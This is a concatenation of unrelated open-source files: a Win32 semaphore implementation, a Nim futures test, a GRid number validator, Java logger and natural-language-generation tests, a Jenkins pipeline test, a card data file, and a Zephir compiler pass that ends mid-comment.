/* * ------------------------------------------------------------- * * Module: sem_init.c * * Purpose: * Semaphores aren't actually part of PThreads. * They are defined by the POSIX Standard: * * POSIX 1003.1-2001 * * ------------------------------------------------------------- * * -------------------------------------------------------------------------- * * Pthreads-win32 - POSIX Threads Library for Win32 * Copyright(C) 1998 John E. Bossom * Copyright(C) 1999,2003 Pthreads-win32 contributors * * Contact Email: rpj@callisto.canberra.edu.au * * The current list of contributors is contained * in the file CONTRIBUTORS included with the source * code distribution. The list can also be seen at the * following World Wide Web location: * http://sources.redhat.com/pthreads-win32/contributors.html * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library in the file COPYING.LIB; * if not, write to the Free Software Foundation, Inc., * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA */ #ifndef _UWIN # include <process.h> #endif #include "pthread.h" #include "semaphore.h" #include "implement.h" int sem_init (sem_t * sem, int pshared, unsigned int value) /* * ------------------------------------------------------ * DOCPUBLIC * This function initializes a semaphore. The * initial value of the semaphore is 'value' * * PARAMETERS * sem * pointer to an instance of sem_t * * pshared * if zero, this semaphore may only be shared between * threads in the same process. * if nonzero, the semaphore can be shared between * processes * * value * initial value of the semaphore counter * * DESCRIPTION * This function initializes a semaphore. The * initial value of the semaphore is set to 'value'. * * RESULTS * 0 successfully created semaphore, * -1 failed, error in errno * ERRNO * EINVAL 'sem' is not a valid semaphore, * ENOSPC a required resource has been exhausted, * ENOSYS semaphores are not supported, * EPERM the process lacks appropriate privilege * * ------------------------------------------------------ */ { int result = 0; sem_t s = NULL; if (pshared != 0) { /* * Creating a semaphore that can be shared between * processes */ result = EPERM; } else { s = (sem_t) calloc (1, sizeof (*s)); if (NULL == s) { result = ENOMEM; } #ifdef NEED_SEM else { s->value = value; s->event = CreateEvent (NULL, PTW32_FALSE, /* manual reset */ PTW32_FALSE, /* initial state */ NULL); if (0 == s->event) { result = ENOSPC; } else { if (value != 0) { SetEvent(s->event); } InitializeCriticalSection(&s->sem_lock_cs); } } #else /* NEED_SEM */ s->sem = CreateSemaphore (NULL, /* Always NULL */ (long) value, /* Initial value */ (long) _POSIX_SEM_VALUE_MAX, /* Maximum value */ NULL); /* Name */ if (0 == s->sem) { result = ENOSPC; } #endif /* NEED_SEM */ } if (result != 0) { errno = result; return -1; } *sem = s; return 0; } /* sem_init */
{ "pile_set_name": "Github" }
discard """ exitcode: 0 output: ''' 1 2 3 5 ''' """ import asyncfutures let f1: Future[int] = newFuture[int]() f1.addCallback(proc() = echo 1) f1.addCallback(proc() = echo 2) f1.addCallback(proc() = echo 3) f1.complete(10) let f2: Future[int] = newFuture[int]() f2.addCallback(proc() = echo 4) f2.callback = proc() = echo 5 f2.complete(10)
{ "pile_set_name": "Github" }
/* Abstraction layer for threading in tests. */ #ifdef _WIN32 typedef HANDLE thd_t; #else typedef pthread_t thd_t; #endif void thd_create(thd_t *thd, void *(*proc)(void *), void *arg); void thd_join(thd_t thd, void **ret);
{ "pile_set_name": "Github" }
name=Guardian of Cloverdell image=https://magiccards.info/scans/en/lw/216.jpg value=2.200 rarity=U type=Creature subtype=Treefolk,Shaman cost={5}{G}{G} pt=4/5 ability=When SN enters the battlefield, create three 1/1 white Kithkin Soldier creature tokens.;\ {G}, Sacrifice a Kithkin: You gain 1 life. timing=main oracle=When Guardian of Cloverdell enters the battlefield, create three 1/1 white Kithkin Soldier creature tokens.\n{G}, Sacrifice a Kithkin: You gain 1 life.
{ "pile_set_name": "Github" }
# grid.py - functions for handling Global Release Identifier (GRid) numbers # # Copyright (C) 2010, 2011, 2012, 2013 Arthur de Jong # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA # 02110-1301 USA """GRid (Global Release Identifier). The Global Release Identifier is used to identify releases of digital sound recordings and uses the ISO 7064 Mod 37, 36 algorithm to verify the correctness of the number. >>> validate('A12425GABC1234002M') 'A12425GABC1234002M' >>> validate('Grid: A1-2425G-ABC1234002-M') 'A12425GABC1234002M' >>> validate('A1-2425G-ABC1234002-Q') # incorrect check digit Traceback (most recent call last): ... InvalidChecksum: ... >>> compact('A1-2425G-ABC1234002-M') 'A12425GABC1234002M' >>> format('A12425GABC1234002M') 'A1-2425G-ABC1234002-M' """ from stdnum.exceptions import * from stdnum.util import clean def compact(number): """Convert the GRid to the minimal representation. This strips the number of any valid separators and removes surrounding whitespace.""" number = clean(number, ' -').strip().upper() if number.startswith('GRID:'): number = number[5:] return number def validate(number): """Check if the number is a valid GRid.""" from stdnum.iso7064 import mod_37_36 number = compact(number) if len(number) != 18: raise InvalidLength() return mod_37_36.validate(number) def is_valid(number): """Check if the number is a valid GRid.""" try: return bool(validate(number)) except ValidationError: return False def format(number, separator='-'): """Reformat the number to the standard presentation format.""" number = compact(number) number = (number[0:2], number[2:7], number[7:17], number[17:]) return separator.join(x for x in number if x)
{ "pile_set_name": "Github" }
package org.verdictdb.commons; import static org.junit.Assert.assertEquals; import java.util.List; import org.junit.Test; import ch.qos.logback.classic.Level; import ch.qos.logback.classic.spi.ILoggingEvent; import ch.qos.logback.core.read.ListAppender; /** Created by Dong Young Yoon on 7/25/18. */ public class VerdictDBLoggerTest { @Test public void loggerTest() { final VerdictDBLogger logger = VerdictDBLogger.getLogger(this.getClass()); ListAppender<ILoggingEvent> appender = new ListAppender<>(); VerdictOption options = new VerdictOption(); options.setVerdictConsoleLogLevel("all"); options.setVerdictFileLogLevel("all"); appender.setName("testAppender"); appender.start(); logger.addAppender(appender); logger.setLevel(Level.TRACE); logger.debug("debug test"); logger.error("error test"); logger.info("info test"); logger.trace("trace test"); logger.warn("warn test"); List<ILoggingEvent> events = appender.list; assertEquals(Level.DEBUG, events.get(0).getLevel()); assertEquals("debug test", events.get(0).getMessage()); assertEquals("org.verdictdb.commons.VerdictDBLoggerTest", events.get(0).getLoggerName()); assertEquals(Level.ERROR, events.get(1).getLevel()); assertEquals("error test", events.get(1).getMessage()); assertEquals("org.verdictdb.commons.VerdictDBLoggerTest", events.get(1).getLoggerName()); assertEquals(Level.INFO, events.get(2).getLevel()); assertEquals("info test", events.get(2).getMessage()); assertEquals("org.verdictdb.commons.VerdictDBLoggerTest", events.get(2).getLoggerName()); assertEquals(Level.TRACE, events.get(3).getLevel()); assertEquals("trace test", events.get(3).getMessage()); assertEquals("org.verdictdb.commons.VerdictDBLoggerTest", events.get(3).getLoggerName()); assertEquals(Level.WARN, events.get(4).getLevel()); assertEquals("warn test", events.get(4).getMessage()); assertEquals("org.verdictdb.commons.VerdictDBLoggerTest", events.get(4).getLoggerName()); appender.stop(); } @Test public void loggerOptionTest() { final VerdictDBLogger logger = VerdictDBLogger.getLogger(this.getClass()); VerdictOption options = new VerdictOption(); options.setVerdictConsoleLogLevel("warn"); options.setVerdictFileLogLevel("warn"); ListAppender<ILoggingEvent> appender = new ListAppender<>(); appender.setName("testAppender"); appender.start(); logger.addAppender(appender); logger.setLevel(Level.TRACE); logger.debug("debug test"); logger.error("error test"); logger.info("info test"); logger.trace("trace test"); logger.warn("warn test"); List<ILoggingEvent> events = appender.list; assertEquals(Level.DEBUG, events.get(0).getLevel()); assertEquals("debug test", events.get(0).getMessage()); assertEquals("org.verdictdb.commons.VerdictDBLoggerTest", events.get(0).getLoggerName()); assertEquals(Level.ERROR, events.get(1).getLevel()); assertEquals("error test", events.get(1).getMessage()); assertEquals("org.verdictdb.commons.VerdictDBLoggerTest", events.get(1).getLoggerName()); assertEquals(Level.INFO, events.get(2).getLevel()); assertEquals("info test", events.get(2).getMessage()); assertEquals("org.verdictdb.commons.VerdictDBLoggerTest", events.get(2).getLoggerName()); assertEquals(Level.TRACE, events.get(3).getLevel()); assertEquals("trace test", events.get(3).getMessage()); assertEquals("org.verdictdb.commons.VerdictDBLoggerTest", events.get(3).getLoggerName()); assertEquals(Level.WARN, events.get(4).getLevel()); assertEquals("warn test", events.get(4).getMessage()); assertEquals("org.verdictdb.commons.VerdictDBLoggerTest", events.get(4).getLoggerName()); appender.stop(); } }
{ "pile_set_name": "Github" }
/* * The MIT License * * Copyright (c) 2016, CloudBees, Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ import com.cloudbees.groovy.cps.NonCPS pipeline { stages { stage("foo") { steps { echo returnSomething() } } } } @NonCPS def returnSomething() { return "hello" }
{ "pile_set_name": "Github" }
/* * The contents of this file are subject to the Mozilla Public License * Version 2.0 (the "License"); you may not use this file except in * compliance with the License. You may obtain a copy of the License at * https://www.mozilla.org/en-US/MPL/ * * Software distributed under the License is distributed on an "AS IS" * basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the * License for the specific language governing rights and limitations * under the License. * * The Original Code is "Simplenlg". * * The Initial Developer of the Original Code is Ehud Reiter, Albert Gatt and Dave Westwater. * Portions created by Ehud Reiter, Albert Gatt and Dave Westwater are Copyright (C) 2010-11 The University of Aberdeen. All Rights Reserved. * * Contributor(s): Ehud Reiter, Albert Gatt, Dave Westwater, Roman Kutlak, Margaret Mitchell, and Saad Mahamood. */ package simplenlg.syntax.english; import junit.framework.Assert; import org.junit.After; import org.junit.Test; import simplenlg.features.*; import simplenlg.framework.CoordinatedPhraseElement; import simplenlg.framework.LexicalCategory; import simplenlg.framework.NLGElement; import simplenlg.framework.PhraseElement; import simplenlg.phrasespec.NPPhraseSpec; import simplenlg.phrasespec.SPhraseSpec; /** * Tests for the NPPhraseSpec and CoordinateNPPhraseSpec classes. * * @author agatt */ public class NounPhraseTest extends SimpleNLG4Test { /** * Instantiates a new nP test. * * @param name the name */ public NounPhraseTest(String name) { super(name); } @Override @After public void tearDown() { super.tearDown(); } /** * Test the setPlural() method in noun phrases. */ @Test public void testPlural() { this.np4.setFeature(Feature.NUMBER, NumberAgreement.PLURAL); Assert.assertEquals("the rocks", this.realiser.realise(this.np4).getRealisation()); //$NON-NLS-1$ this.np5.setFeature(Feature.NUMBER, NumberAgreement.PLURAL); Assert.assertEquals("the curtains", this.realiser.realise(this.np5).getRealisation()); //$NON-NLS-1$ this.np5.setFeature(Feature.NUMBER, NumberAgreement.SINGULAR); Assert.assertEquals(NumberAgreement.SINGULAR, this.np5.getFeature(Feature.NUMBER)); Assert.assertEquals("the curtain", this.realiser.realise(this.np5).getRealisation()); //$NON-NLS-1$ this.np5.setFeature(Feature.NUMBER, NumberAgreement.PLURAL); Assert.assertEquals("the curtains", this.realiser.realise(this.np5).getRealisation()); //$NON-NLS-1$ } /** * Test the pronominalisation method for full NPs. */ @Test public void testPronominalisation() { // sing this.proTest1.setFeature(LexicalFeature.GENDER, Gender.FEMININE); this.proTest1.setFeature(Feature.PRONOMINAL, true); Assert.assertEquals("she", this.realiser.realise(this.proTest1).getRealisation()); //$NON-NLS-1$ // sing, possessive this.proTest1.setFeature(Feature.POSSESSIVE, true); Assert.assertEquals("her", this.realiser.realise(this.proTest1).getRealisation()); //$NON-NLS-1$ // plural pronoun this.proTest2.setFeature(Feature.NUMBER, NumberAgreement.PLURAL); this.proTest2.setFeature(Feature.PRONOMINAL, true); Assert.assertEquals("they", this.realiser.realise(this.proTest2).getRealisation()); //$NON-NLS-1$ // accusative: "them" this.proTest2.setFeature(InternalFeature.DISCOURSE_FUNCTION, DiscourseFunction.OBJECT); Assert.assertEquals("them", this.realiser.realise(this.proTest2).getRealisation()); //$NON-NLS-1$ } /** * Test the pronominalisation method for full NPs (more thorough than above) */ @Test public void testPronominalisation2() { // Ehud - added extra pronominalisation tests NPPhraseSpec pro = phraseFactory.createNounPhrase("Mary"); pro.setFeature(Feature.PRONOMINAL, true); pro.setFeature(Feature.PERSON, Person.FIRST); SPhraseSpec sent = phraseFactory.createClause(pro, "like", "John"); Assert.assertEquals("I like John.", this.realiser.realiseSentence(sent)); pro = phraseFactory.createNounPhrase("Mary"); pro.setFeature(Feature.PRONOMINAL, true); pro.setFeature(Feature.PERSON, Person.SECOND); sent = phraseFactory.createClause(pro, "like", "John"); Assert.assertEquals("You like John.", this.realiser.realiseSentence(sent)); pro = phraseFactory.createNounPhrase("Mary"); pro.setFeature(Feature.PRONOMINAL, true); pro.setFeature(Feature.PERSON, Person.THIRD); pro.setFeature(LexicalFeature.GENDER, Gender.FEMININE); sent = phraseFactory.createClause(pro, "like", "John"); Assert.assertEquals("She likes John.", this.realiser.realiseSentence(sent)); pro = phraseFactory.createNounPhrase("Mary"); pro.setFeature(Feature.PRONOMINAL, true); pro.setFeature(Feature.PERSON, Person.FIRST); pro.setPlural(true); sent = phraseFactory.createClause(pro, "like", "John"); Assert.assertEquals("We like John.", this.realiser.realiseSentence(sent)); pro = phraseFactory.createNounPhrase("Mary"); pro.setFeature(Feature.PRONOMINAL, true); pro.setFeature(Feature.PERSON, Person.SECOND); pro.setPlural(true); sent = phraseFactory.createClause(pro, "like", "John"); Assert.assertEquals("You like John.", this.realiser.realiseSentence(sent)); pro = phraseFactory.createNounPhrase("Mary"); pro.setFeature(Feature.PRONOMINAL, true); pro.setFeature(Feature.PERSON, Person.THIRD); pro.setPlural(true); pro.setFeature(LexicalFeature.GENDER, Gender.FEMININE); sent = phraseFactory.createClause(pro, "like", "John"); Assert.assertEquals("They like John.", this.realiser.realiseSentence(sent)); pro = phraseFactory.createNounPhrase("John"); pro.setFeature(Feature.PRONOMINAL, true); pro.setFeature(Feature.PERSON, Person.FIRST); sent = phraseFactory.createClause("Mary", "like", pro); Assert.assertEquals("Mary likes me.", this.realiser.realiseSentence(sent)); pro = phraseFactory.createNounPhrase("John"); pro.setFeature(Feature.PRONOMINAL, true); pro.setFeature(Feature.PERSON, Person.SECOND); sent = phraseFactory.createClause("Mary", "like", pro); Assert.assertEquals("Mary likes you.", this.realiser.realiseSentence(sent)); pro = phraseFactory.createNounPhrase("John"); pro.setFeature(Feature.PRONOMINAL, true); pro.setFeature(Feature.PERSON, Person.THIRD); pro.setFeature(LexicalFeature.GENDER, Gender.MASCULINE); sent = phraseFactory.createClause("Mary", "like", pro); Assert.assertEquals("Mary likes him.", this.realiser.realiseSentence(sent)); pro = phraseFactory.createNounPhrase("John"); pro.setFeature(Feature.PRONOMINAL, true); pro.setFeature(Feature.PERSON, Person.FIRST); pro.setPlural(true); sent = phraseFactory.createClause("Mary", "like", pro); Assert.assertEquals("Mary likes us.", this.realiser.realiseSentence(sent)); pro = phraseFactory.createNounPhrase("John"); pro.setFeature(Feature.PRONOMINAL, true); pro.setFeature(Feature.PERSON, Person.SECOND); pro.setPlural(true); sent = phraseFactory.createClause("Mary", "like", pro); Assert.assertEquals("Mary likes you.", this.realiser.realiseSentence(sent)); pro = phraseFactory.createNounPhrase("John"); pro.setFeature(Feature.PRONOMINAL, true); pro.setFeature(Feature.PERSON, Person.THIRD); pro.setFeature(LexicalFeature.GENDER, Gender.MASCULINE); pro.setPlural(true); sent = phraseFactory.createClause("Mary", "like", pro); Assert.assertEquals("Mary likes them.", this.realiser.realiseSentence(sent)); } /** * Test premodification in NPS. */ @Test public void testPremodification() { this.man.addPreModifier(this.salacious); Assert.assertEquals("the salacious man", this.realiser //$NON-NLS-1$ .realise(this.man).getRealisation()); this.woman.addPreModifier(this.beautiful); Assert.assertEquals("the beautiful woman", this.realiser.realise( //$NON-NLS-1$ this.woman).getRealisation()); this.dog.addPreModifier(this.stunning); Assert.assertEquals("the stunning dog", this.realiser.realise(this.dog) //$NON-NLS-1$ .getRealisation()); // premodification with a WordElement this.man.setPreModifier(this.phraseFactory.createWord("idiotic", LexicalCategory.ADJECTIVE)); Assert.assertEquals("the idiotic man", this.realiser //$NON-NLS-1$ .realise(this.man).getRealisation()); } /** * Test prepositional postmodification. */ @Test public void testPostmodification() { this.man.addPostModifier(this.onTheRock); Assert.assertEquals("the man on the rock", this.realiser.realise( //$NON-NLS-1$ this.man).getRealisation()); this.woman.addPostModifier(this.behindTheCurtain); Assert.assertEquals("the woman behind the curtain", this.realiser //$NON-NLS-1$ .realise(this.woman).getRealisation()); // postmodification with a WordElement this.man.setPostModifier(this.phraseFactory.createWord("jack", LexicalCategory.NOUN)); Assert.assertEquals("the man jack", this.realiser.realise( //$NON-NLS-1$ this.man).getRealisation()); } /** * Test nominal complementation */ @Test public void testComplementation() { // complementation with a WordElement this.man.setComplement(this.phraseFactory.createWord("jack", LexicalCategory.NOUN)); Assert.assertEquals("the man jack", this.realiser.realise( //$NON-NLS-1$ this.man).getRealisation()); this.woman.addComplement(this.behindTheCurtain); Assert.assertEquals("the woman behind the curtain", this.realiser //$NON-NLS-1$ .realise(this.woman).getRealisation()); } /** * Test possessive constructions. */ @Test public void testPossessive() { // simple possessive 's: 'a man's' PhraseElement possNP = this.phraseFactory.createNounPhrase("a", "man"); //$NON-NLS-1$ //$NON-NLS-2$ possNP.setFeature(Feature.POSSESSIVE, true); Assert.assertEquals("a man's", this.realiser.realise(possNP) //$NON-NLS-1$ .getRealisation()); // now set this possessive as specifier of the NP 'the dog' this.dog.setFeature(InternalFeature.SPECIFIER, possNP); Assert.assertEquals("a man's dog", this.realiser.realise(this.dog) //$NON-NLS-1$ .getRealisation()); // convert possNP to pronoun and turn "a dog" into "his dog" // need to specify gender, as default is NEUTER possNP.setFeature(LexicalFeature.GENDER, Gender.MASCULINE); possNP.setFeature(Feature.PRONOMINAL, true); Assert.assertEquals("his dog", this.realiser.realise(this.dog) //$NON-NLS-1$ .getRealisation()); // make it slightly more complicated: "his dog's rock" this.dog.setFeature(Feature.POSSESSIVE, true); // his dog's // his dog's rock (substituting "the" // for the // entire phrase) this.np4.setFeature(InternalFeature.SPECIFIER, this.dog); Assert.assertEquals("his dog's rock", this.realiser.realise(this.np4) //$NON-NLS-1$ .getRealisation()); } /** * Test NP coordination. */ @Test public void testCoordination() { CoordinatedPhraseElement cnp1 = new CoordinatedPhraseElement(this.dog, this.woman); // simple coordination Assert.assertEquals("the dog and the woman", this.realiser //$NON-NLS-1$ .realise(cnp1).getRealisation()); // simple coordination with complementation of entire coordinate NP cnp1.addComplement(this.behindTheCurtain); Assert.assertEquals("the dog and the woman behind the curtain", //$NON-NLS-1$ this.realiser.realise(cnp1).getRealisation()); // raise the specifier in this cnp // Assert.assertEquals(true, cnp1.raiseSpecifier()); // should return // true as all // sub-nps have same spec // assertEquals("the dog and woman behind the curtain", // realiser.realise(cnp1)); } /** * Another battery of tests for NP coordination. */ @Test public void testCoordination2() { // simple coordination of complementised nps this.dog.clearComplements(); this.woman.clearComplements(); CoordinatedPhraseElement cnp1 = new CoordinatedPhraseElement(this.dog, this.woman); cnp1.setFeature(Feature.RAISE_SPECIFIER, true); NLGElement realised = this.realiser.realise(cnp1); Assert.assertEquals("the dog and woman", realised.getRealisation()); this.dog.addComplement(this.onTheRock); this.woman.addComplement(this.behindTheCurtain); CoordinatedPhraseElement cnp2 = new CoordinatedPhraseElement(this.dog, this.woman); this.woman.setFeature(InternalFeature.RAISED, false); Assert.assertEquals("the dog on the rock and the woman behind the curtain", //$NON-NLS-1$ this.realiser.realise(cnp2).getRealisation()); // complementised coordinates + outer pp modifier cnp2.addPostModifier(this.inTheRoom); Assert.assertEquals("the dog on the rock and the woman behind the curtain in the room", //$NON-NLS-1$ this.realiser.realise(cnp2).getRealisation()); // set the specifier for this cnp; should unset specifiers for all inner // coordinates NLGElement every = this.phraseFactory.createWord("every", LexicalCategory.DETERMINER); //$NON-NLS-1$ cnp2.setFeature(InternalFeature.SPECIFIER, every); Assert.assertEquals("every dog on the rock and every woman behind the curtain in the room", //$NON-NLS-1$ this.realiser.realise(cnp2).getRealisation()); // pronominalise one of the constituents this.dog.setFeature(Feature.PRONOMINAL, true); // ="it" this.dog.setFeature(InternalFeature.SPECIFIER, this.phraseFactory.createWord("the", LexicalCategory.DETERMINER)); // raising spec still returns true as spec has been set cnp2.setFeature(Feature.RAISE_SPECIFIER, true); // CNP should be realised with pronominal internal const Assert.assertEquals("it and every woman behind the curtain in the room", //$NON-NLS-1$ this.realiser.realise(cnp2).getRealisation()); } /** * Test possessives in coordinate NPs. */ @Test public void testPossessiveCoordinate() { // simple coordination CoordinatedPhraseElement cnp2 = new CoordinatedPhraseElement(this.dog, this.woman); Assert.assertEquals("the dog and the woman", this.realiser //$NON-NLS-1$ .realise(cnp2).getRealisation()); // set possessive -- wide-scope by default cnp2.setFeature(Feature.POSSESSIVE, true); Assert.assertEquals("the dog and the woman's", this.realiser.realise( //$NON-NLS-1$ cnp2).getRealisation()); // set possessive with pronoun this.dog.setFeature(Feature.PRONOMINAL, true); this.dog.setFeature(Feature.POSSESSIVE, true); cnp2.setFeature(Feature.POSSESSIVE, true); Assert.assertEquals("its and the woman's", this.realiser.realise(cnp2) //$NON-NLS-1$ .getRealisation()); } /** * Test A vs An. */ @Test public void testAAn() { PhraseElement _dog = this.phraseFactory.createNounPhrase("a", "dog"); //$NON-NLS-1$ //$NON-NLS-2$ Assert.assertEquals("a dog", this.realiser.realise(_dog) //$NON-NLS-1$ .getRealisation()); _dog.addPreModifier("enormous"); //$NON-NLS-1$ Assert.assertEquals("an enormous dog", this.realiser.realise(_dog) //$NON-NLS-1$ .getRealisation()); PhraseElement elephant = this.phraseFactory.createNounPhrase("a", "elephant"); //$NON-NLS-1$ //$NON-NLS-2$ Assert.assertEquals("an elephant", this.realiser.realise(elephant) //$NON-NLS-1$ .getRealisation()); elephant.addPreModifier("big"); //$NON-NLS-1$ Assert.assertEquals("a big elephant", this.realiser.realise(elephant) //$NON-NLS-1$ .getRealisation()); // test treating of plural specifiers _dog.setFeature(Feature.NUMBER, NumberAgreement.PLURAL); Assert.assertEquals("some enormous dogs", this.realiser.realise(_dog) //$NON-NLS-1$ .getRealisation()); } /** * Further tests for a/an agreement with coordinated premodifiers */ public void testAAnCoord() { NPPhraseSpec _dog = this.phraseFactory.createNounPhrase("a", "dog"); _dog.addPreModifier(this.phraseFactory.createCoordinatedPhrase("enormous", "black")); String realisation = this.realiser.realise(_dog).getRealisation(); Assert.assertEquals("an enormous and black dog", realisation); } /** * Test for a/an agreement with numbers */ public void testAAnWithNumbers() { NPPhraseSpec num = this.phraseFactory.createNounPhrase("a", "change"); String realisation; // no an with "one" num.setPreModifier("one percent"); realisation = this.realiser.realise(num).getRealisation(); Assert.assertEquals("a one percent change", realisation); // an with "eighty" num.setPreModifier("eighty percent"); realisation = this.realiser.realise(num).getRealisation(); Assert.assertEquals("an eighty percent change", realisation); // an with 80 num.setPreModifier("80%"); realisation = this.realiser.realise(num).getRealisation(); Assert.assertEquals("an 80% change", realisation); // an with 80000 num.setPreModifier("80000"); realisation = this.realiser.realise(num).getRealisation(); Assert.assertEquals("an 80000 change", realisation); // an with 11,000 num.setPreModifier("11,000"); realisation = this.realiser.realise(num).getRealisation(); Assert.assertEquals("an 11,000 change", realisation); // an with 18 num.setPreModifier("18%"); realisation = this.realiser.realise(num).getRealisation(); Assert.assertEquals("an 18% change", realisation); // a with 180 num.setPreModifier("180"); realisation = this.realiser.realise(num).getRealisation(); Assert.assertEquals("a 180 change", realisation); // a with 1100 num.setPreModifier("1100"); realisation = this.realiser.realise(num).getRealisation(); Assert.assertEquals("a 1100 change", realisation); // a with 180,000 num.setPreModifier("180,000"); realisation = this.realiser.realise(num).getRealisation(); Assert.assertEquals("a 180,000 change", realisation); // an with 11000 num.setPreModifier("11000"); realisation = this.realiser.realise(num).getRealisation(); Assert.assertEquals("an 11000 change", realisation); // an with 18000 num.setPreModifier("18000"); realisation = this.realiser.realise(num).getRealisation(); Assert.assertEquals("an 18000 change", realisation); // an with 18.1 num.setPreModifier("18.1%"); realisation = this.realiser.realise(num).getRealisation(); Assert.assertEquals("an 18.1% change", realisation); // an with 11.1 num.setPreModifier("11.1%"); realisation = this.realiser.realise(num).getRealisation(); Assert.assertEquals("an 11.1% change", realisation); } /** * Test Modifier "guess" placement. */ @Test public void testModifier() { PhraseElement _dog = this.phraseFactory.createNounPhrase("a", "dog"); //$NON-NLS-1$ //$NON-NLS-2$ _dog.addPreModifier("angry"); //$NON-NLS-1$ Assert.assertEquals("an angry dog", this.realiser.realise(_dog) //$NON-NLS-1$ .getRealisation()); _dog.addPostModifier("in the park"); //$NON-NLS-1$ Assert.assertEquals("an angry dog in the park", this.realiser.realise( //$NON-NLS-1$ _dog).getRealisation()); PhraseElement cat = this.phraseFactory.createNounPhrase("a", "cat"); //$NON-NLS-1$ //$NON-NLS-2$ cat.addPreModifier(this.phraseFactory.createAdjectivePhrase("angry")); //$NON-NLS-1$ Assert.assertEquals("an angry cat", this.realiser.realise(cat) //$NON-NLS-1$ .getRealisation()); cat.addPostModifier(this.phraseFactory.createPrepositionPhrase("in", "the park")); //$NON-NLS-1$ //$NON-NLS-2$ Assert.assertEquals("an angry cat in the park", this.realiser.realise( //$NON-NLS-1$ cat).getRealisation()); } @Test public void testPluralNounsBelongingToASingular() { SPhraseSpec sent = this.phraseFactory.createClause("I", "count up"); sent.setFeature(Feature.TENSE, Tense.PAST); NPPhraseSpec obj = this.phraseFactory.createNounPhrase("digit"); obj.setPlural(true); NPPhraseSpec possessor = this.phraseFactory.createNounPhrase("the", "box"); possessor.setPlural(false); possessor.setFeature(Feature.POSSESSIVE, true); obj.setSpecifier(possessor); sent.setObject(obj); Assert.assertEquals("I counted up the box's digits", this.realiser.realise(sent) //$NON-NLS-1$ .getRealisation()); } @Test public void testSingularNounsBelongingToAPlural() { SPhraseSpec sent = this.phraseFactory.createClause("I", "clean"); sent.setFeature(Feature.TENSE, Tense.PAST); NPPhraseSpec obj = this.phraseFactory.createNounPhrase("car"); obj.setPlural(false); NPPhraseSpec possessor = this.phraseFactory.createNounPhrase("the", "parent"); possessor.setPlural(true); possessor.setFeature(Feature.POSSESSIVE, true); obj.setSpecifier(possessor); sent.setObject(obj); Assert.assertEquals("I cleaned the parents' car", this.realiser.realise(sent) //$NON-NLS-1$ .getRealisation()); } /** * Test for appositive postmodifiers */ @Test public void testAppositivePostmodifier() { PhraseElement _dog = this.phraseFactory.createNounPhrase("the", "dog"); PhraseElement _rott = this.phraseFactory.createNounPhrase("a", "rottweiler"); _rott.setFeature(Feature.APPOSITIVE, true); _dog.addPostModifier(_rott); SPhraseSpec _sent = this.phraseFactory.createClause(_dog, "ran"); Assert.assertEquals("The dog, a rottweiler, runs.", this.realiser.realiseSentence(_sent)); } }
{ "pile_set_name": "Github" }
package com.youshibi.app.presentation.classify; import com.youshibi.app.base.BaseRxPresenter; /** * Created by Chu on 2016/12/3. */ public class ClassifyPresenter extends BaseRxPresenter { }
{ "pile_set_name": "Github" }
<?php /* * This file is part of the Zephir. * * (c) Phalcon Team <team@zephir-lang.com> * * For the full copyright and license information, please view * the LICENSE file that was distributed with this source code. */ namespace Zephir\Passes; use Zephir\StatementsBlock; /** * SkipVariantInit. * * In 'if'/'else' statements sometimes dynamical variables are initialized in every branch * Same case in 'switch' statements */ class SkipVariantInit { protected $branches = []; protected $variablesToSkip = []; protected $ignoredVariables; /** * Do the compilation pass. * * @param int $branchNumber * @param StatementsBlock $block */ public function pass($branchNumber, StatementsBlock $block) { $this->passStatementBlock($branchNumber, $block->getStatements()); $this->branches[$branchNumber] = 0; } /** * Check assignment types for possible skip. * * @param int $branchNumber * @param array $statement */ public function passLetStatement($branchNumber, $statement) { foreach ($statement['assignments'] as $assignment) { if ('variable' == $assignment['assign-type']) { if ('assign' == $assignment['operator']) { switch ($assignment['expr']['type']) { case 'variable': case 'array-access': case 'property-access': case 'static-property-access': case 'fcall': case 'mcall': case 'scall': break; default: $this->variablesToSkip[$branchNumber][$assignment['variable']] = 1; break; } } } } } public function passStatementBlock($branchNumber, array $statements) { foreach ($statements as $statement) { if (!isset($statement['type'])) { continue; } switch ($statement['type']) { case 'let': $this->passLetStatement($branchNumber, $statement); break; } } } /** * Returns a list of variables that are initialized in every analyzed branch. * * @return array */ public function getVariables() { $variableStats = []; foreach ($this->variablesToSkip as $branchNumber => $variables) { foreach ($variables as $variable => $one) { if (!isset($variableStats[$variable])) { $variableStats[$variable] = 1; } else { ++$variableStats[$variable]; } } } $variables = []; $numberBranches = \count($this->branches); foreach ($variableStats as $variable => $number) { if ($number == $numberBranches) { $variables[] = $variable; } } return $variables; } /** * @param int $branchNumber * @param array $variablesToSkip 